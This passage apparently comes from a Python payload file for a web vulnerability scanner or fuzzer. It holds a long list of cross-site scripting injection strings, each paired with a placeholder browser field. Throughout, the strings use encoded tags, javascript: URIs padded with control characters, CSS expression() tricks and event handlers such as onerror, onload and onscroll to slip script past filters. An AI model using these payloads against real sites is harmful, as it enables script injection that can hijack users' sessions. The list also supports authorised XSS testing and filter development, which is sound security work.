  1245. 		  'browser':"""[Not Info]"""},
    1246. 

  1246.         { 'payload':'''%3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dalert(PAYLOAD)%3E''',
    1247. 

  1247. 		  'browser':"""[Not Info]"""},
    1248. 

  1248.         { 'payload':'''%3cimg onerror=alert(PAYLOAD) src=a%3e''',
    1249. 

  1249. 		  'browser':"""[Not Info]"""},
    1250. 

  1250.         { 'payload':'''"'`><%3Cimg src=xxx:x onerror=javascript:alert(PAYLOAD)>''',
    1251. 

  1251. 		  'browser':"""[Not Info]"""},
    1252. 

  1252.         { 'payload':'''%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
    1253. 

  1253. 		  'browser':"""[Not Info]"""},
    1254. 

  1254.         { 'payload':''''`"><%3Cscript>javascript:alert(PAYLOAD)</script>''',
    1255. 

  1255. 		  'browser':"""[Not Info]"""},
    1256. 

  1256.         { 'payload':'''%3Cscript>javascript:alert(PAYLOAD)</script>''',
    1257. 

  1257. 		  'browser':"""[Not Info]"""},
    1258. 

  1258.         { 'payload':'''"'`>Y<div style="font-family:'foo'%3Bx:expression(javascript:alert(PAYLOAD);/*';">Z''',
    1259. 

  1259. 		  'browser':"""[Not Info]"""},
    1260. 

  1260.         { 'payload':'''"'`>Y<div style="font-family:'foo'%7Dx:expression(javascript:alert(PAYLOAD);/*';">Z>''',
    1261. 

  1261. 		  'browser':"""[Not Info]"""},
    1262. 

  1262.         { 'payload':'''Y<div style="x:%00expression(javascript:alert(PAYLOAD)">Z''',
    1263. 

  1263. 		  'browser':"""[Not Info]"""},
    1264. 

  1264.         { 'payload':'''Y<div style="x:%09expression(javascript:alert(PAYLOAD)">Z''',
    1265. 

  1265. 		  'browser':"""[Not Info]"""},
    1266. 

  1266.         { 'payload':'''Y<div style="x:%0Aexpression(javascript:alert(PAYLOAD)">Z''',
    1267. 

  1267. 		  'browser':"""[Not Info]"""},
    1268. 

  1268.         { 'payload':'''Y<div style="x:%0Bexpression(javascript:alert(PAYLOAD)">Z''',
    1269. 

  1269. 		  'browser':"""[Not Info]"""},
    1270. 

  1270.         { 'payload':'''Y<div style="x:%0Cexpression(javascript:alert(PAYLOAD)">Z''',
    1271. 

  1271. 		  'browser':"""[Not Info]"""},
    1272. 

  1272.         { 'payload':'''Y<div style="x:%0Dexpression(javascript:alert(PAYLOAD)">Z''',
    1273. 

  1273. 		  'browser':"""[Not Info]"""},
    1274. 

  1274.         { 'payload':'''Y<div style="x:%20expression(javascript:alert(PAYLOAD)">Z''',
    1275. 

  1275. 		  'browser':"""[Not Info]"""},
    1276. 

  1276.         { 'payload':'''Y<div style="x%3Aexpression(javascript:alert(PAYLOAD)">Z''',
    1277. 

  1277. 		  'browser':"""[Not Info]"""},
    1278. 

  1278.         { 'payload':'''Y<div style="x:%C2%A0expression(javascript:alert(PAYLOAD)">Z''',
    1279. 

  1279.           'browser':"""[Not Info]"""},
    1280. 

  1280.         { 'payload':'''Y<div style="x:%E2%80%80expression(javascript:alert(PAYLOAD)">Z''',
    1281. 

  1281.           'browser':"""[Not Info]"""},
    1282. 

  1282.         { 'payload':'''Y<div style="x:%E2%80%81expression(javascript:alert(PAYLOAD)">Z''',
    1283. 

  1283.           'browser':"""[Not Info]"""},
    1284. 

  1284.         { 'payload':'''Y<div style="x:%E2%80%82expression(javascript:alert(PAYLOAD)">Z''',
    1285. 

  1285.           'browser':"""[Not Info]"""},
    1286. 

  1286.         { 'payload':'''Y<div style="x:%E2%80%83expression(javascript:alert(PAYLOAD)">Z''',
    1287. 

  1287.           'browser':"""[Not Info]"""},
    1288. 

  1288.         { 'payload':'''Y<div style="x:%E2%80%84expression(javascript:alert(PAYLOAD)">Z''',
    1289. 

  1289.           'browser':"""[Not Info]"""},
    1290. 

  1290.         { 'payload':'''Y<div style="x:%E2%80%85expression(javascript:alert(PAYLOAD)">Z''',
    1291. 

  1291.           'browser':"""[Not Info]"""},
    1292. 

  1292.         { 'payload':'''Y<div style="x:%E2%80%86expression(javascript:alert(PAYLOAD)">Z''',
    1293. 

  1293.           'browser':"""[Not Info]"""},
    1294. 

  1294.         { 'payload':'''Y<div style="x:%E2%80%87expression(javascript:alert(PAYLOAD)">Z''',
    1295. 

  1295.           'browser':"""[Not Info]"""},
    1296. 

  1296.         { 'payload':'''Y<div style="x:%E2%80%88expression(javascript:alert(PAYLOAD)">Z''',
    1297. 

  1297.           'browser':"""[Not Info]"""},
    1298. 

  1298.         { 'payload':'''Y<div style="x:%E2%80%89expression(javascript:alert(PAYLOAD)">Z''',
    1299. 

  1299.           'browser':"""[Not Info]"""},
    1300. 

  1300.         { 'payload':'''Y<div style="x:%E2%80%8Aexpression(javascript:alert(PAYLOAD)">Z''',
    1301. 

  1301.           'browser':"""[Not Info]"""},
    1302. 

  1302.         { 'payload':'''Y<div style="x:%E2%80%8Bexpression(javascript:alert(PAYLOAD)">Z''',
    1303. 

  1303.           'browser':"""[Not Info]"""},
    1304. 

  1304.         { 'payload':'''Y<div style="x:%E3%80%80expression(javascript:alert(PAYLOAD)">Z''',
    1305. 

  1305.           'browser':"""[Not Info]"""},
    1306. 

  1306.         { 'payload':'''Y<div style="x:%EF%BB%BFexpression(javascript:alert(PAYLOAD)">Z''',
    1307. 

  1307.           'browser':"""[Not Info]"""},
    1308. 

  1308.         { 'payload':'''Y<div style="x:exp%00ression(javascript:alert(PAYLOAD)">Z''',
    1309. 

  1309.           'browser':"""[Not Info]"""},
    1310. 

  1310.         { 'payload':'''Y<div style="x:exp%5Cression(javascript:alert(PAYLOAD)">Z''',
    1311. 

  1311.           'browser':"""[Not Info]"""},
    1312. 

  1312.         { 'payload':'''Y<div style="x:expression%00(javascript:alert(PAYLOAD)">Z''',
    1313. 

  1313.           'browser':"""[Not Info]"""},
    1314. 

  1314.         { 'payload':'''Y<div style="x:expression%5C(javascript:alert(PAYLOAD)">Z''',
    1315. 

  1315.           'browser':"""[Not Info]"""},
    1316. 

  1316.         { 'payload':'''<!a foo=x=`y><img alt="`><img src=x:x onerror=alert(PAYLOAD)//">''',
    1317. 

  1317.           'browser':"""[Not Info]"""},
    1318. 

  1318.         { 'payload':'''<?a foo=x=`y><img alt="`><img src=x:x onerror=alert(PAYLOAD)//">''',
    1319. 

  1319.           'browser':"""[Not Info]"""},
    1320. 

  1320.         { 'payload':'''<a href="%00javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1321. 

  1321.           'browser':"""[Not Info]"""},
    1322. 

  1322.         { 'payload':'''<a href="%01javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1323. 

  1323.           'browser':"""[Not Info]"""},
    1324. 

  1324.         { 'payload':'''<a href="%02javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1325. 

  1325.           'browser':"""[Not Info]"""},
    1326. 

  1326.         { 'payload':'''<a href="%03javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1327. 

  1327.           'browser':"""[Not Info]"""},
    1328. 

  1328.         { 'payload':'''<a href="%04javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1329. 

  1329.           'browser':"""[Not Info]"""},
    1330. 

  1330.         { 'payload':'''<a href="%05javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1331. 

  1331.           'browser':"""[Not Info]"""},
    1332. 

  1332.         { 'payload':'''<a href="%06javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1333. 

  1333.           'browser':"""[Not Info]"""},
    1334. 

  1334.         { 'payload':'''<a href="%07javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1335. 

  1335.           'browser':"""[Not Info]"""},
    1336. 

  1336.         { 'payload':'''<a href="%08javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1337. 

  1337.           'browser':"""[Not Info]"""},
    1338. 

  1338.         { 'payload':'''<a href="%09javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1339. 

  1339.           'browser':"""[Not Info]"""},
    1340. 

  1340.         { 'payload':'''<a href="%0Ajavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1341. 

  1341.           'browser':"""[Not Info]"""},
    1342. 

  1342.         { 'payload':'''<a href="%0Bjavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1343. 

  1343.           'browser':"""[Not Info]"""},
    1344. 

  1344.         { 'payload':'''<a href="%0Cjavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1345. 

  1345.           'browser':"""[Not Info]"""},
    1346. 

  1346.         { 'payload':'''<a href="%0Djavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1347. 

  1347.           'browser':"""[Not Info]"""},
    1348. 

  1348.         { 'payload':'''<a href="%0Ejavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1349. 

  1349.           'browser':"""[Not Info]"""},
    1350. 

  1350.         { 'payload':'''<a href="%0Fjavascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1351. 

  1351.           'browser':"""[Not Info]"""},
    1352. 

  1352.         { 'payload':'''<a href="%10javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1353. 

  1353.           'browser':"""[Not Info]"""},
    1354. 

  1354.         { 'payload':'''<a href="%11javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1355. 

  1355.           'browser':"""[Not Info]"""},
    1356. 

  1356.         { 'payload':'''<a href="123" id=x>kcf</a><script>x='javascript:alert(PAYLOAD)'//Y!;</script>''',
    1357. 

  1357.           'browser':"""[Not Info]"""},
    1358. 

  1358.         { 'payload':'''<a href="123" id=x>Y</a><script>x='javascript:alert(PAYLOAD)';</script>''',
    1359. 

  1359.           'browser':"""[Not Info]"""},
    1360. 

  1360.         { 'payload':'''<a href="%20javascript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1361. 

  1361.           'browser':"""[Not Info]"""},
    1362. 

  1362.         { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=alert(PAYLOAD)></a>">''',
    1363. 

  1363.           'browser':"""[Not Info]"""},
    1364. 

  1364.         { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(PAYLOAD)></a>">''',
    1365. 

  1365.           'browser':"""[Not Info]"""},
    1366. 

  1366.         { 'payload':'''<a href="jav&#65ascript:javascript:alert(PAYLOAD)">Y</a>''',
    1367. 

  1367.           'browser':"""[Not Info]"""},
    1368. 

  1368.         { 'payload':'''<a href="jav&#97ascript:javascript:alert(PAYLOAD)">Y1</a>''',
    1369. 

  1369.           'browser':"""[Not Info]"""},
    1370. 

  1370.         { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(PAYLOAD)>Y</a>''',
    1371. 

  1371.           'browser':"""[Not Info]"""},
    1372. 

  1372.         { 'payload':'''<a href="javas%00cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1373. 

  1373.           'browser':"""[Not Info]"""},
    1374. 

  1374.         { 'payload':'''<a href="javas%01cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1375. 

  1375.           'browser':"""[Not Info]"""},
    1376. 

  1376.         { 'payload':'''<a href="javas%02cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1377. 

  1377.           'browser':"""[Not Info]"""},
    1378. 

  1378.         { 'payload':'''<a href="javas%03cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1379. 

  1379.           'browser':"""[Not Info]"""},
    1380. 

  1380.         { 'payload':'''<a href="javas%04cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1381. 

  1381.           'browser':"""[Not Info]"""},
    1382. 

  1382.         { 'payload':'''<a href="javas%05cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1383. 

  1383.           'browser':"""[Not Info]"""},
    1384. 

  1384.         { 'payload':'''<a href="javas%06cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1385. 

  1385.           'browser':"""[Not Info]"""},
    1386. 

  1386.         { 'payload':'''<a href="javas%07cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1387. 

  1387.           'browser':"""[Not Info]"""},
    1388. 

  1388.         { 'payload':'''<a href="javas%08cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1389. 

  1389.           'browser':"""[Not Info]"""},
    1390. 

  1390.         { 'payload':'''<a href="javas%09cript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1391. 

  1391.           'browser':"""[Not Info]"""},
    1392. 

  1392.         { 'payload':'''<a href="javas%0Acript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1393. 

  1393.           'browser':"""[Not Info]"""},
    1394. 

  1394.         { 'payload':'''<a href="javas%0Bcript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1395. 

  1395.           'browser':"""[Not Info]"""},
    1396. 

  1396.         { 'payload':'''<a href="javas%0Ccript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1397. 

  1397.           'browser':"""[Not Info]"""},
    1398. 

  1398.         { 'payload':'''<a href="javas%0Dcript:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1399. 

  1399.           'browser':"""[Not Info]"""},
    1400. 

  1400.         { 'payload':'''<a/href="javascript:&#13; javascript:prompt(PAYLOAD)"><input type="X">''',
    1401. 

  1401.           'browser':"""[Not Info]"""},
    1402. 

  1402.         { 'payload':'''<a href="javascript%3A:javascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1403. 

  1403.           'browser':"""[Not Info]"""},
    1404. 

  1404.         { 'payload':'''<a href="javascript%3Ajavascript:alert(PAYLOAD)" id="fuzzelement1">Y</a>''',
    1405. 

  1405.           'browser':"""[Not Info]"""},
    1406. 

  1406.         { 'payload':'''<a href="javascript#alert(PAYLOAD);">''',
    1407. 

  1407.           'browser':"""[Not Info]"""},
    1408. 

  1408.         { 'payload':'''<a href="javascript:alert(PAYLOAD)">Y</a>''',
    1409. 

  1409.           'browser':"""[Not Info]"""},
    1410. 

  1410.         { 'payload':'''<a href="jAvAsCrIpT&colon;alert&lpar;PAYLOAD&rpar;">Y</a>''',
    1411. 

  1411.           'browser':"""[Not Info]"""},
    1412. 

  1412.         { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(PAYLOAD)&NewLine;>X</a>''',
    1413. 

  1413.           'browser':"""[Not Info]"""},
    1414. 

  1414.         { 'payload':'''<a href=x onerror=alert(PAYLOAD)>''',
    1415. 

  1415.           'browser':"""[Not Info]"""},
    1416. 

  1416.         { 'payload':'''</a onmousemove="alert(PAYLOAD)">''',
    1417. 

  1417.           'browser':"""[Not Info]"""},
    1418. 

  1418.         { 'payload':'''</a onmousemove=alert(PAYLOAD)>''',
    1419. 

  1419.           'browser':"""[Not Info]"""},
    1420. 

  1420.         { 'payload':'''<a onmouseover=(alert(PAYLOAD))>Y</a>''',
    1421. 

  1421.           'browser':"""[Not Info]"""},
    1422. 

  1422.         { 'payload':'''<applet onerror applet onerror="javascript:javascript:alert(PAYLOAD)"></applet onerror>''',
    1423. 

  1423.           'browser':"""[Not Info]"""},
    1424. 

  1424.         { 'payload':'''<applet onError applet onError="javascript:javascript:alert(PAYLOAD)"></applet onError>''',
    1425. 

  1425.           'browser':"""[Not Info]"""},
    1426. 

  1426.         { 'payload':'''<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(PAYLOAD)"></applet onreadystatechange>''',
    1427. 

  1427.           'browser':"""[Not Info]"""},
    1428. 

  1428.         { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(PAYLOAD)"></applet onReadyStateChange>''',
    1429. 

  1429.           'browser':"""[Not Info]"""},
    1430. 

  1430.         { 'payload':'''<article xmlns="><img src=x onerror=alert(PAYLOAD)"></article>''',
    1431. 

  1431.           'browser':"""[Not Info]"""},
    1432. 

  1432.         { 'payload':'''<article xmlns="x:img src=x onerror=alert(PAYLOAD) ">''',
    1433. 

  1433.           'browser':"""[Not Info]"""},
    1434. 

  1434.         { 'payload':'''<a style="behavior:url(#Zault#AnchorClick);" folder="javascript:alert(PAYLOAD)">Y</a>''',
    1435. 

  1435.           'browser':"""[Not Info]"""},
    1436. 

  1436.         { 'payload':'''<a style="behavior:url(#Zault#AnchorClick);" folder="javascript:javascript:alert(PAYLOAD)">Y</a>''',
    1437. 

  1437.           'browser':"""[Not Info]"""},
    1438. 

  1438.         { 'payload':'''<a style="-o-link:'javascript:alert(PAYLOAD)';-o-link-source:current">Y</a>''',
    1439. 

  1439.           'browser':"""[Not Info]"""},
    1440. 

  1440.         { 'payload':'''<a style="-o-link:'javascript:javascript:alert(PAYLOAD)';-o-link-source:current">Y''',
    1441. 

  1441.           'browser':"""[Not Info]"""},
    1442. 

  1442.         { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(PAYLOAD);">Y</a></a><a href="javascript:alert(PAYLOAD)">Y</a>''',
    1443. 

  1443.           'browser':"""[Not Info]"""},
    1444. 

  1444.         { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(PAYLOAD);">Y</a></a><a href="javascript:javascript:alert(PAYLOAD)">Y</a><style>*[{}@import'%25(css)s?]</style>X''',
    1445. 

  1445.           'browser':"""[Not Info]"""},
    1446. 

  1446.         { 'payload':'''<audio src=1 href=1 onerror="javascript:alert(PAYLOAD)"></audio>''',
    1447. 

  1447.           'browser':"""[Not Info]"""},
    1448. 

  1448.         { 'payload':'''<audio src=1 onerror=alert(PAYLOAD)>''',
    1449. 

  1449.           'browser':"""[Not Info]"""},
    1450. 

  1450.         { 'payload':'''<BASE HREF="javascript:alert(PAYLOAD);//">''',
    1451. 

  1451.           'browser':"""[Not Info]"""},
    1452. 

  1452.         { 'payload':'''<BASE HREF="javascript:alert('PAYLOAD');//">''',
    1453. 

  1453.           'browser':"""[Not Info]"""},
    1454. 

  1454.         { 'payload':'''<BASE HREF="javascript:javascript:alert(PAYLOAD);//">''',
    1455. 

  1455.           'browser':"""[Not Info]"""},
    1456. 

  1456.         { 'payload':'''<bgsound onpropertychange=alert(PAYLOAD)>''',
    1457. 

  1457.           'browser':"""[Not Info]"""},
    1458. 

  1458.         { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(PAYLOAD)"></bgsound onPropertyChange>''',
    1459. 

  1459.           'browser':"""[Not Info]"""},
    1460. 

  1460.         { 'payload':'''<BGSOUND SRC="javascript:alert(PAYLOAD);">''',
    1461. 

  1461.           'browser':"""[Not Info]"""},
    1462. 

  1462.         { 'payload':'''<BGSOUND SRC="javascript:alert('PAYLOAD');">''',
    1463. 

  1463.           'browser':"""[Not Info]"""},
    1464. 

  1464.         { 'payload':'''<BGSOUND SRC="javascript:javascript:alert(PAYLOAD);">''',
    1465. 

  1465.           'browser':"""[Not Info]"""},
    1466. 

  1466.         { 'payload':'''<b id="id1" x=begin0x2924end >`'"></b><script>if (!/begin.end/.Y(document.getElementById('id1').getAttribute('x'))) { alert(PAYLOAD);}</script>''',
    1467. 

  1467.           'browser':"""[Not Info]"""},
    1468. 

  1468.         { 'payload':'''<b id="id1" x=begin0x9fa0end >`'"></b><script>if (!/begin.end/.Y(document.getElementById('id1').getAttribute('x'))) { alert(PAYLOAD);}</script>''',
    1469. 

  1469.           'browser':"""[Not Info]"""},
    1470. 

  1470.         { 'payload':'''<BODY BACKGROUND="javascript:alert(PAYLOAD)">''',
    1471. 

  1471.           'browser':"""[Not Info]"""},
    1472. 

  1472.         { 'payload':'''<BODY BACKGROUND="javascript:alert('PAYLOAD')">''',
    1473. 

  1473.           'browser':"""[Not Info]"""},
    1474. 

  1474.         { 'payload':'''<body> §iframe onload=confirm(/PAYLOAD/)> <img src=x:x onerror="innerHTML=previousSibling.nodeValue.replace('§','<')"> </body>''',
    1475. 

  1475.           'browser':"""[Not Info]"""},
    1476. 

  1476.         { 'payload':'''<body onactivate=alert(PAYLOAD)>''',
    1477. 

  1477.           'browser':"""[Not Info]"""},
    1478. 

  1478.         { 'payload':'''<body onbeforeactivate=alert(PAYLOAD)>''',
    1479. 

  1479.           'browser':"""[Not Info]"""},
    1480. 

  1480.         { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:javascript:alert(PAYLOAD)"></body onbeforeunload>''',
    1481. 

  1481.           'browser':"""[Not Info]"""},
    1482. 

  1482.         { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(PAYLOAD)"></body onBeforeUnload>''',
    1483. 

  1483.           'browser':"""[Not Info]"""},
    1484. 

  1484.         { 'payload':'''<body onblur body onblur="javascript:javascript:alert(PAYLOAD)"></body onblur>''',
    1485. 

  1485.           'browser':"""[Not Info]"""},
    1486. 

  1486.         { 'payload':'''<body onfocus body onfocus="javascript:javascript:alert(PAYLOAD)"></body onfocus>''',
    1487. 

  1487.           'browser':"""[Not Info]"""},
    1488. 

  1488.         { 'payload':'''<body onFocus body onFocus="javascript:javascript:alert(PAYLOAD)"></body onFocus>''',
    1489. 

  1489.           'browser':"""[Not Info]"""},
    1490. 

  1490.         { 'payload':'''<body onfocusin=alert(PAYLOAD)>''',
    1491. 

  1491.           'browser':"""[Not Info]"""},
    1492. 

  1492.         { 'payload':'''<body oninput=alert(PAYLOAD)><input autofocus>''',
    1493. 

  1493.           'browser':"""[Not Info]"""},
    1494. 

  1494.         { 'payload':'''<body oninput=javascript:alert(PAYLOAD)><input autofocus>''',
    1495. 

  1495.           'browser':"""[Not Info]"""},
    1496. 

  1496.         { 'payload':'''<body oninput=prompt(PAYLOAD)><input autofocus>''',
    1497. 

  1497.           'browser':"""[Not Info]"""},
    1498. 

  1498.         { 'payload':'''<body onkeydown body onkeydown="javascript:javascript:alert(PAYLOAD)"></body onkeydown>''',
    1499. 

  1499.           'browser':"""[Not Info]"""},
    1500. 

  1500.         { 'payload':'''<body onkeyup body onkeyup="javascript:javascript:alert(PAYLOAD)"></body onkeyup>''',
    1501. 

  1501.           'browser':"""[Not Info]"""},
    1502. 

  1502.         { 'payload':'''\"><body onload=\"PAYLOAD\">''',
    1503. 

  1503.           'browser':"""[Not Info]"""},
    1504. 

  1504.         { 'payload':'''\\\'><body onload=\\\'PAYLOAD\\\'>''',
    1505. 

  1505.           'browser':"""[Not Info]"""},
    1506. 

  1506.         { 'payload':'''<body/onload=<!-->&#10alert(PAYLOAD)>''',
    1507. 

  1507.           'browser':"""[Not Info]"""},
    1508. 

  1508.         { 'payload':'''<body onload="alert(PAYLOAD);">''',
    1509. 

  1509.           'browser':"""[Not Info]"""},
    1510. 

  1510.         { 'payload':'''<body onload="alert(PAYLOAD)">''',
    1511. 

  1511.           'browser':"""[Not Info]"""},
    1512. 

  1512.         { 'payload':'''<BODY ONLOAD=alert(PAYLOAD)>''',
    1513. 

  1513.           'browser':"""[Not Info]"""},
    1514. 

  1514.         { 'payload':'''<BODY ONLOAD=alert('PAYLOAD')>''',
    1515. 

  1515.           'browser':"""[Not Info]"""},
    1516. 

  1516.         { 'payload':'''<body onload body onload="javascript:javascript:alert(PAYLOAD)"></body onload>''',
    1517. 

  1517.           'browser':"""[Not Info]"""},
    1518. 

  1518.         { 'payload':'''<body onLoad body onLoad="javascript:javascript:alert(PAYLOAD)"></body onLoad>''',
    1519. 

  1519.           'browser':"""[Not Info]"""},
    1520. 

  1520.         { 'payload':'''<BODY ONLOAD=javascript:alert(PAYLOAD)>''',
    1521. 

  1521.           'browser':"""[Not Info]"""},
    1522. 

  1522.         { 'payload':'''<BODY ONLOAD=javascript:javascript:alert(PAYLOAD)>''',
    1523. 

  1523.           'browser':"""[Not Info]"""},
    1524. 

  1524.         { 'payload':'''"><body onload="PAYLOAD">''',
    1525. 

  1525.           'browser':"""[Not Info]"""},
    1526. 

  1526.         { 'payload':'''\'><body onload=\'PAYLOAD\'>''',
    1527. 

  1527.           'browser':"""[Not Info]"""},
    1528. 

  1528.         { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:javascript:alert(PAYLOAD)"></body onMouseEnter>''',
    1529. 

  1529.           'browser':"""[Not Info]"""},
    1530. 

  1530.         { 'payload':'''<body onMouseMove body onMouseMove="javascript:javascript:alert(PAYLOAD)"></body onMouseMove>''',
    1531. 

  1531.           'browser':"""[Not Info]"""},
    1532. 

  1532.         { 'payload':'''<body onMouseOver body onMouseOver="javascript:javascript:alert(PAYLOAD)"></body onMouseOver>''',
    1533. 

  1533.           'browser':"""[Not Info]"""},
    1534. 

  1534.         { 'payload':'''<body onpagehide body onpagehide="javascript:javascript:alert(PAYLOAD)"></body onpagehide>''',
    1535. 

  1535.           'browser':"""[Not Info]"""},
    1536. 

  1536.         { 'payload':'''<body onPageHide body onPageHide="javascript:javascript:alert(PAYLOAD)"></body onPageHide>''',
    1537. 

  1537.           'browser':"""[Not Info]"""},
    1538. 

  1538.         { 'payload':'''<body onPageShow body onPageShow="javascript:javascript:alert(PAYLOAD)"></body onPageShow>''',
    1539. 

  1539.           'browser':"""[Not Info]"""},
    1540. 

  1540.         { 'payload':'''<body onPopState body onPopState="javascript:javascript:alert(PAYLOAD)"></body onPopState>''',
    1541. 

  1541.           'browser':"""[Not Info]"""},
    1542. 

  1542.         { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:javascript:alert(PAYLOAD)"></body onPropertyChange>''',
    1543. 

  1543.           'browser':"""[Not Info]"""},
    1544. 

  1544.         { 'payload':'''<body onResize body onResize="javascript:javascript:alert(PAYLOAD)"></body onResize>''',
    1545. 

  1545.           'browser':"""[Not Info]"""},
    1546. 

  1546.         { 'payload':'''<body onscroll=alert(PAYLOAD)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
    1547. 

  1547.           'browser':"""[Not Info]"""},
    1548. 

  1548.         { 'payload':'''<body onscroll=alert(PAYLOAD)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
    1549. 

  1549.           'browser':"""[Not Info]"""},
    1550. 

  1550.         { 'payload':'''<body onscroll=alert(PAYLOAD)><br><br>...<br><input autofocus>''',
    1551. 

  1551.           'browser':"""[Not Info]"""},
    1552. 

  1552.         { 'payload':'''<body onscroll=javascript:alert(PAYLOAD)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
    1553. 

  1553.           'browser':"""[Not Info]"""},
    1554. 

  1554.         { 'payload':'''<body onscroll=javascript:alert(PAYLOAD)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
    1555. 

  1555.           'browser':"""[Not Info]"""},
    1556. 

  1556.         { 'payload':'''<body onscroll=prompt(PAYLOAD)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
    1557. 

  1557.           'browser':"""[Not Info]"""},
    1558. 

  1558.         { 'payload':'''<body onunload body onunload="javascript:javascript:alert(PAYLOAD)"></body onunload>''',
    1559. 

  1559.           'browser':"""[Not Info]"""},
    1560. 

  1560.         { 'payload':'''<body onUnload body onUnload="javascript:javascript:alert(PAYLOAD)"></body onUnload>''',
    1561. 

  1561.           'browser':"""[Not Info]"""},
    1562. 

  1562.         { 'payload':'''<button/onclick=alert(PAYLOAD) >Y</button>''',
    1563. 

  1563.           'browser':"""[Not Info]"""},
    1564. 

  1564.         { 'payload':'''<comment><img src="</comment><img src=x onerror=alert(PAYLOAD)//">''',
    1565. 

  1565.           'browser':"""[Not Info]"""},
    1566. 

  1566.         { 'payload':'''<comment><img src="</comment><img src=x onerror=alert(PAYLOAD))//">''',
    1567. 

  1567.           'browser':"""[Not Info]"""},
    1568. 

  1568.         { 'payload':'''<comment><img src="</comment><img src=x onerror=javascript:alert(PAYLOAD))//">''',
    1569. 

  1569.           'browser':"""[Not Info]"""},
    1570. 

  1570.         { 'payload':'''<comment><img src="</comment><img src=x onerror=prompt(PAYLOAD)//">''',
    1571. 

  1571.           'browser':"""[Not Info]"""},
    1572. 

  1572.         { 'payload':'''<div class="foo1">Y</div> <script>document.getElementsByClassName('foo1')[0]?alert(PAYLOAD):0</script>''',
    1573. 

  1573.           'browser':"""[Not Info]"""},
    1574. 

  1574.         { 'payload':'''<div id=d><x xmlns="><iframe onload=alert(PAYLOAD)"></div> <script>d.innerHTML=d.innerHTML</script>''',
    1575. 

  1575.           'browser':"""[Not Info]"""},
    1576. 

  1576.         { 'payload':'''<div id=d><x xmlns="><iframe onload=javascript:alert(PAYLOAD)"></div> <script>d.innerHTML=d.innerHTML</script>''',
    1577. 

  1577.           'browser':"""[Not Info]"""},
    1578. 

  1578.         { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#Zault#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<img&#11;src=x:x&#11;onerror&#11;=javascript:alert(PAYLOAD)>">''',
    1579. 

  1579.           'browser':"""[Not Info]"""},
    1580. 

  1580.         { 'payload':'''<div onmouseover="alert(PAYLOAD);">''',
    1581. 

  1581.           'browser':"""[Not Info]"""},
    1582. 

